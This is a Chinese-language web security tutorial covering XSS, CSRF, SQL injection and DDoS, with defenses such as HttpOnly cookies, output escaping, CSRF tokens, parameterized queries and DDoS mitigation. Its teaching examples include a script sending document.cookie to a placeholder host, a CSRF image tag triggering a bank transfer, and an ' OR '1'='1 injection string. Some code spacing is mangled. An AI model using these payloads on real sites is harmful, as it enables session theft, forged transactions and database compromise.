跨站腳本攻擊(XSS)
概念
將攻擊代碼(java script,html)嵌入到用戶瀏覽的網(wǎng)頁上,起到竊取用戶信息的作用。
攻擊原理
例如有一個論壇網(wǎng)站,攻擊者可以在上面發(fā)布以下內(nèi)容:
<script>location.href="//domain.com/?c=" + document.cookie</script>
之后該內(nèi)容可能會被渲染成以下形式:
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
危害
竊取用戶的 Cookie
偽造虛假的輸入表單騙取個人信息
顯示偽造的文章或者圖片
防范手段
1. 設置 Cookie 為 HttpOnly
設置了 HttpOnly 的 Cookie 可以防止 java script 腳本調(diào)用,就無法通過 document.cookie 獲取用戶 Cookie 信息。
2. 過濾特殊字符
例如將 <
轉義為 <
,將 >
轉義為 >
,從而避免 HTML 和 Jascript 代碼的運行。
富文本編輯器允許用戶輸入 HTML 代碼,就不能簡單地將 <
等字符進行過濾了,極大地提高了 XSS 攻擊的可能性。
富文本編輯器通常采用 XSS filter 來防范 XSS 攻擊,通過定義一些標簽白名單或者黑名單,從而不允許有攻擊性的 HTML 代碼的輸入。
以下例子中,form 和 script 等標簽都被轉義,而 h 和 p 等標簽將會保留。
<h1id="title">XSS Demo</h1>
<p>123</p>
<form>
<inputtype="text"name="q"value="test">
</form>
<pre>hello</pre>
<scripttype="text/java script">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/java script">
alert(/xss/);
</script>
XSS 過濾在線測試 http://jsxss.com/zh/try.html
3. 過濾輸出字符
不要以為在輸入的時候進行過濾就萬事大吉了,惡意攻擊者們可能會層層繞過防御機制進行 XSS 攻擊,一般來說,所有需要輸出到 HTML 頁面的變量,全部需要使用編碼或者轉義來防御。
跨站偽造請求攻擊(CSRF)
概念
跨站請求偽造(Cross-site request forgery,CSRF),是攻擊者通過一些技術手段欺騙用戶的瀏覽器去訪問一個自己曾經(jīng)認證過的網(wǎng)站并執(zhí)行一些操作(如發(fā)郵件,發(fā)消息,甚至財產(chǎn)操作如轉賬和購買商品)。由于瀏覽器曾經(jīng)認證過,所以被訪問的網(wǎng)站會認為是真正的用戶操作而去執(zhí)行。
XSS 利用的是用戶對指定網(wǎng)站的信任,CSRF 利用的是網(wǎng)站對用戶瀏覽器的信任。
攻擊原理
假如一家銀行用以執(zhí)行轉賬操作的 URL 地址如下:
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
那么,一個惡意攻擊者可以在另一個網(wǎng)站上放置如下代碼:
<imgsrc="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
如果有賬戶名為 Alice 的用戶訪問了惡意站點,而她之前剛訪問過銀行不久,登錄信息尚未過期,那么她就會損失 1000 美元。
這種惡意的網(wǎng)址可以有很多種形式,藏身于網(wǎng)頁中的許多地方。此外,攻擊者也不需要控制放置惡意網(wǎng)址的網(wǎng)站。例如他可以將這種地址藏在論壇,博客等任何用戶生成內(nèi)容的網(wǎng)站中。這意味著如果服務器端沒有合適的防御措施的話,用戶即使訪問熟悉的可信網(wǎng)站也有受攻擊的危險。
通過例子能夠看出,攻擊者并不能通過 CSRF 攻擊來直接獲取用戶的賬戶控制權,也不能直接竊取用戶的任何信息。他們能做到的,是欺騙用戶瀏覽器,讓其以用戶的名義執(zhí)行操作。
防范手段
1. 檢查 Referer 首部字段
Referer 首部字段位于 HTTP 報文中,用于標識請求來源的地址。檢查這個首部字段并要求請求來源的地址在同一個域名下,可以極大的防止 CSRF 攻擊。
這種辦法簡單易行,工作量低,僅需要在關鍵訪問處增加一步校驗。但這種辦法也有其局限性,因其完全依賴瀏覽器發(fā)送正確的 Referer 字段。雖然 HTTP 協(xié)議對此字段的內(nèi)容有明確的規(guī)定,但并無法保證來訪的瀏覽器的具體實現(xiàn),亦無法保證瀏覽器沒有安全漏洞影響到此字段。并且也存在攻擊者攻擊某些瀏覽器,篡改其 Referer 字段的可能。
2. 添加校驗 Token
token就是服務端返回給客戶端類似sessionid那樣一長串的類值(長是為了防暴力猜解)。csrf依賴于瀏覽器該問鏈接時自動對應網(wǎng)站的cookie帶上,token不放cookie(一般form表單加個hidden屬性的input標簽來存放)csrf就沒法獲取token,這樣我們就可以通過檢測發(fā)送過來的數(shù)據(jù)包中是否有正確的token值來決定是否響應請求。
3. 輸入驗證碼
因為 CSRF 攻擊是在用戶無意識的情況下發(fā)生的,所以要求用戶輸入驗證碼可以讓用戶知道自己正在做的操作。
SQl注入攻擊(SQL Injection)
在服務器上的數(shù)據(jù)庫中運行非法的 SQL 語句,主要通過參數(shù)拼接來完成。
攻擊原理
例如一個網(wǎng)站登錄驗證的 SQL 查詢代碼為:
strSQL = "SELECT * FROMusersWHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
如果填入以下內(nèi)容:
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
那么 SQL 查詢字符串為:
strSQL = "SELECT * FROMusersWHERE (name = '1'OR'1'='1') and (pw = '1'OR'1'='1');"
此時無需驗證通過就能執(zhí)行以下查詢:
strSQL = "SELECT * FROMusers;"
防范手段
1. 使用參數(shù)化查詢
Java 中的 PreparedStatement 是預先編譯的 SQL 語句,可以傳入適當參數(shù)并且多次執(zhí)行。由于沒有拼接的過程,因此可以防止 SQL 注入的發(fā)生。
PreparedStatement stmt = connection.prepareStatement("SELECT * FROMusersWHERE userid=? ANDpassword=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
2. 單引號轉換
將傳入的參數(shù)中的單引號轉換為連續(xù)兩個單引號,PHP 中的 Magic quote 可以完成這個功能。
3. 對用戶表達提交參數(shù)過濾
類似于XSS特殊字符過濾,一定程度上禁止用戶提交的數(shù)據(jù)字段含有sql邏輯運算符。
分布式拒絕服務攻擊(DDoS)
攻擊原理
說到DDo攻擊需要先說一下DoS攻擊,所謂的Dos攻擊是指攻擊者短時間內(nèi)發(fā)起大量請求致使服務器中斷,用戶不能正常訪問服務。
而DDoS一般來說是指攻擊者利用“肉雞”(被攻陷的計算機)對目標網(wǎng)站在較短的時間內(nèi)發(fā)起大量請求,大規(guī)模消耗目標網(wǎng)站的主機資源,讓它無法正常服務。在線游戲、互聯(lián)網(wǎng)金融等領域是 DDoS 攻擊的高發(fā)行業(yè)。
舉個形象的例子:
我開了一家有五十個座位的重慶火鍋店,由于用料上等,童叟無欺。平時門庭若市,生意特別紅火,而對面二狗家的火鍋店卻無人問津。二狗為了對付我,想了一個辦法,叫了五十個人來我的火鍋店坐著卻不點菜,讓別的客人無法吃飯。
防范手段
高防服務器
還是拿我開的重慶火鍋店舉例,高防服務器就是我給重慶火鍋店增加了兩名保安,這兩名保安可以讓保護店鋪不受流氓騷擾,并且還會定期在店鋪周圍巡邏防止流氓騷擾。
高防服務器主要是指能獨立硬防御 50Gbps 以上的服務器,能夠幫助網(wǎng)站拒絕服務攻擊,定期掃描網(wǎng)絡主節(jié)點等,這東西是不錯,就是貴~
黑名單
面對火鍋店里面的流氓,我一怒之下將他們拍照入檔,并禁止他們踏入店鋪,但是有的時候遇到長得像的人也會禁止他進入店鋪。這個就是設置黑名單,此方法秉承的就是“錯殺一千,也不放一百”的原則,會封鎖正常流量,影響到正常業(yè)務。
DDoS 清洗
DDos 清洗,就是我發(fā)現(xiàn)客人進店幾分鐘以后,但是一直不點餐,我就把他踢出店里。
DDoS 清洗會對用戶請求數(shù)據(jù)進行實時監(jiān)控,及時發(fā)現(xiàn)DOS攻擊等異常流量,在不影響正常業(yè)務開展的情況下清洗掉這些異常流量。
CDN加速
CDN 加速,我們可以這么理解:為了減少流氓騷擾,我干脆將火鍋店開到了線上,承接外賣服務,這樣流氓找不到店在哪里,也耍不來流氓了。
在現(xiàn)實中,CDN 服務將網(wǎng)站訪問流量分配到了各個節(jié)點中,這樣一方面隱藏網(wǎng)站的真實 IP,另一方面即使遭遇 DDoS攻擊,也可以將流量分散到各個節(jié)點中,防止源站崩潰。